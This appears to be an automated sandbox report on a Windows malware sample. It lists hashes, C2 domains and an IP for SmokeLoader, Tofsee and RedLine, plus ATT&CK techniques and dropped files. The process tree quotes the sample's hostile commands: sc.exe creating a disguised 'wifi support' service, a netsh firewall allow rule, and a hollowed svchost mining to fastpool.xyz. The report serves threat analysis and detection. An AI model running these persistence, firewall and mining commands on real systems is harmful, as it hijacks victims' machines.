Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    06-11-2021 20:37

General

  • Target

    81277be100407b162bb8b73c58e629069cc11353c5fdf.exe

  • Size

    201KB

  • MD5

    218622b4769296bdf4b7ee155ace6c55

  • SHA1

    af5a73cbb912f6ce91c864dc23d070511346963e

  • SHA256

    81277be100407b162bb8b73c58e629069cc11353c5fdf91ecbfc8796f70dfc54

  • SHA512

    9402b706e94b79adcfa4edd7d5f36abf04e2a1441c344b3b118ce47ddeed7823ae0b68d021e7866f64b48dd6f6993167cf531c632c6acb9236ca260d1868a8f5

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://hefahei60.top/

http://pipevai40.top/

rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

new

C2

93.115.20.139:28978

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\81277be100407b162bb8b73c58e629069cc11353c5fdf.exe
    "C:\Users\Admin\AppData\Local\Temp\81277be100407b162bb8b73c58e629069cc11353c5fdf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Users\Admin\AppData\Local\Temp\81277be100407b162bb8b73c58e629069cc11353c5fdf.exe
      "C:\Users\Admin\AppData\Local\Temp\81277be100407b162bb8b73c58e629069cc11353c5fdf.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:548
  • C:\Users\Admin\AppData\Local\Temp\C15C.exe
    C:\Users\Admin\AppData\Local\Temp\C15C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:408
    • C:\Users\Admin\AppData\Local\Temp\C15C.exe
      C:\Users\Admin\AppData\Local\Temp\C15C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1196
  • C:\Users\Admin\AppData\Local\Temp\DB91.exe
    C:\Users\Admin\AppData\Local\Temp\DB91.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jtchswja\
      2⤵
        PID:1772
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lvanupod.exe" C:\Windows\SysWOW64\jtchswja\
        2⤵
          PID:860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jtchswja binPath= "C:\Windows\SysWOW64\jtchswja\lvanupod.exe /d\"C:\Users\Admin\AppData\Local\Temp\DB91.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1924
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jtchswja "wifi internet conection"
            2⤵
              PID:1948
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jtchswja
              2⤵
                PID:920
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1192
              • C:\Windows\SysWOW64\jtchswja\lvanupod.exe
                C:\Windows\SysWOW64\jtchswja\lvanupod.exe /d"C:\Users\Admin\AppData\Local\Temp\DB91.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1592
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1800
              • C:\Users\Admin\AppData\Local\Temp\FE6D.exe
                C:\Users\Admin\AppData\Local\Temp\FE6D.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1472
              • C:\Users\Admin\AppData\Local\Temp\1587.exe
                C:\Users\Admin\AppData\Local\Temp\1587.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                PID:1336

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              2
              T1082

              Query Registry

              1
              T1012

              Peripheral Device Discovery

              1
              T1120

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\1587.exe
                MD5

                36a3976a7678715fffe2300f0ae8a21a

                SHA1

                d941d30a3a600d9f2bdb4b8fed77addd7f15806d

                SHA256

                27098e89b511cd37b5aad597d2e3875d5f6ca232b6bc057cef67adc24243d33e

                SHA512

                7447d26f2bfca5084a4652745a6aadfb90a9068198f00f411a6eb48be12473fde8a458814eb43328c7964f0dad685eea0012be37144c9c2a2dc5613326fc446c

              • C:\Users\Admin\AppData\Local\Temp\C15C.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\C15C.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\C15C.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\DB91.exe
                MD5

                48db79b89beb4b17fabcbb7d8704873a

                SHA1

                fd47d711e03b703937341a5ede33810601900963

                SHA256

                d8a4de298fd1ec4e0b885949fa5d0375ca800281956875179a14e40d1c245278

                SHA512

                2f76d3db69d906cfc4a154075ff92a4859c663dc8b24eac995d5822c4712744b0eb1092a3b0e3362687d999a4651c891460705aaa5bc2b2526afdda47bf7965b

              • C:\Users\Admin\AppData\Local\Temp\DB91.exe
                MD5

                48db79b89beb4b17fabcbb7d8704873a

                SHA1

                fd47d711e03b703937341a5ede33810601900963

                SHA256

                d8a4de298fd1ec4e0b885949fa5d0375ca800281956875179a14e40d1c245278

                SHA512

                2f76d3db69d906cfc4a154075ff92a4859c663dc8b24eac995d5822c4712744b0eb1092a3b0e3362687d999a4651c891460705aaa5bc2b2526afdda47bf7965b

              • C:\Users\Admin\AppData\Local\Temp\FE6D.exe
                MD5

                004f56332aac2e8fca2e4f77691d6167

                SHA1

                f199337bcc743fe8c2b604e97e9e67e418125a9b

                SHA256

                9ab80fd9ceb29028bdb57a30f8275c8385a6657aef9576b2d73d738229e3f83e

                SHA512

                8d79115115a586e36ee9d441b95374151612829e9d0b2dfe43b2f53c064f574e4dc08fb3120d984c11fd65872ed18b470a72cdd71ffd557f31510674c27820e6

              • C:\Users\Admin\AppData\Local\Temp\FE6D.exe
                MD5

                004f56332aac2e8fca2e4f77691d6167

                SHA1

                f199337bcc743fe8c2b604e97e9e67e418125a9b

                SHA256

                9ab80fd9ceb29028bdb57a30f8275c8385a6657aef9576b2d73d738229e3f83e

                SHA512

                8d79115115a586e36ee9d441b95374151612829e9d0b2dfe43b2f53c064f574e4dc08fb3120d984c11fd65872ed18b470a72cdd71ffd557f31510674c27820e6

              • C:\Users\Admin\AppData\Local\Temp\lvanupod.exe
                MD5

                e9d836c630f4bd62536f9daef5c27cbb

                SHA1

                88a6844275f45d07828bc91a7e444acc9da8be87

                SHA256

                557f467246b13f83064a68807635069d47cb8da396591cd5f6486193e3ff2d4d

                SHA512

                b674be3660078f4624e9bce46ed07a9eba61cb07678489a081df7158dcacf4e29d4d552d61f7b2d242759f03b0fb20740f695be991b4f151bfd906d710eb3014

              • C:\Windows\SysWOW64\jtchswja\lvanupod.exe
                MD5

                e9d836c630f4bd62536f9daef5c27cbb

                SHA1

                88a6844275f45d07828bc91a7e444acc9da8be87

                SHA256

                557f467246b13f83064a68807635069d47cb8da396591cd5f6486193e3ff2d4d

                SHA512

                b674be3660078f4624e9bce46ed07a9eba61cb07678489a081df7158dcacf4e29d4d552d61f7b2d242759f03b0fb20740f695be991b4f151bfd906d710eb3014

              • \Users\Admin\AppData\Local\Temp\1105.tmp
                MD5

                d124f55b9393c976963407dff51ffa79

                SHA1

                2c7bbedd79791bfb866898c85b504186db610b5d

                SHA256

                ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef

                SHA512

                278fe3a4b1fbbe700e4f4483b610133e975e36e101455661d5197bd892a68839b9d555499040d200c92aefa9e3819380e395c0cd85d5fc845c6364d128a8cf06

              • \Users\Admin\AppData\Local\Temp\C15C.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • memory/408-69-0x0000000000230000-0x0000000000238000-memory.dmp
                Filesize

                32KB

              • memory/408-61-0x0000000000000000-mapping.dmp
              • memory/548-57-0x0000000075191000-0x0000000075193000-memory.dmp
                Filesize

                8KB

              • memory/548-56-0x0000000000402EFA-mapping.dmp
              • memory/548-55-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

              • memory/860-79-0x0000000000000000-mapping.dmp
              • memory/920-83-0x0000000000000000-mapping.dmp
              • memory/1140-58-0x00000000001B0000-0x00000000001B9000-memory.dmp
                Filesize

                36KB

              • memory/1140-59-0x00000000001C0000-0x00000000001C9000-memory.dmp
                Filesize

                36KB

              • memory/1192-85-0x0000000000000000-mapping.dmp
              • memory/1196-66-0x0000000000402EFA-mapping.dmp
              • memory/1200-60-0x0000000002200000-0x0000000002216000-memory.dmp
                Filesize

                88KB

              • memory/1200-70-0x0000000002BC0000-0x0000000002BD6000-memory.dmp
                Filesize

                88KB

              • memory/1336-114-0x0000000000400000-0x00000000008F9000-memory.dmp
                Filesize

                5.0MB

              • memory/1336-113-0x0000000000220000-0x0000000000229000-memory.dmp
                Filesize

                36KB

              • memory/1336-110-0x00000000009BD000-0x00000000009CD000-memory.dmp
                Filesize

                64KB

              • memory/1336-108-0x0000000000000000-mapping.dmp
              • memory/1360-77-0x0000000000400000-0x0000000000441000-memory.dmp
                Filesize

                260KB

              • memory/1360-76-0x0000000000230000-0x0000000000243000-memory.dmp
                Filesize

                76KB

              • memory/1360-75-0x0000000000220000-0x000000000022D000-memory.dmp
                Filesize

                52KB

              • memory/1360-71-0x0000000000000000-mapping.dmp
              • memory/1472-98-0x00000000003D0000-0x00000000003D1000-memory.dmp
                Filesize

                4KB

              • memory/1472-103-0x0000000000490000-0x00000000004AB000-memory.dmp
                Filesize

                108KB

              • memory/1472-96-0x0000000000D20000-0x0000000000D21000-memory.dmp
                Filesize

                4KB

              • memory/1472-93-0x0000000000000000-mapping.dmp
              • memory/1472-99-0x0000000000660000-0x0000000000662000-memory.dmp
                Filesize

                8KB

              • memory/1592-90-0x0000000000089A6B-mapping.dmp
              • memory/1592-89-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1592-88-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1712-87-0x0000000000400000-0x0000000000441000-memory.dmp
                Filesize

                260KB

              • memory/1772-78-0x0000000000000000-mapping.dmp
              • memory/1800-100-0x00000000000C0000-0x00000000001B1000-memory.dmp
                Filesize

                964KB

              • memory/1800-101-0x00000000000C0000-0x00000000001B1000-memory.dmp
                Filesize

                964KB

              • memory/1800-106-0x000000000015259C-mapping.dmp
              • memory/1924-81-0x0000000000000000-mapping.dmp
              • memory/1948-82-0x0000000000000000-mapping.dmp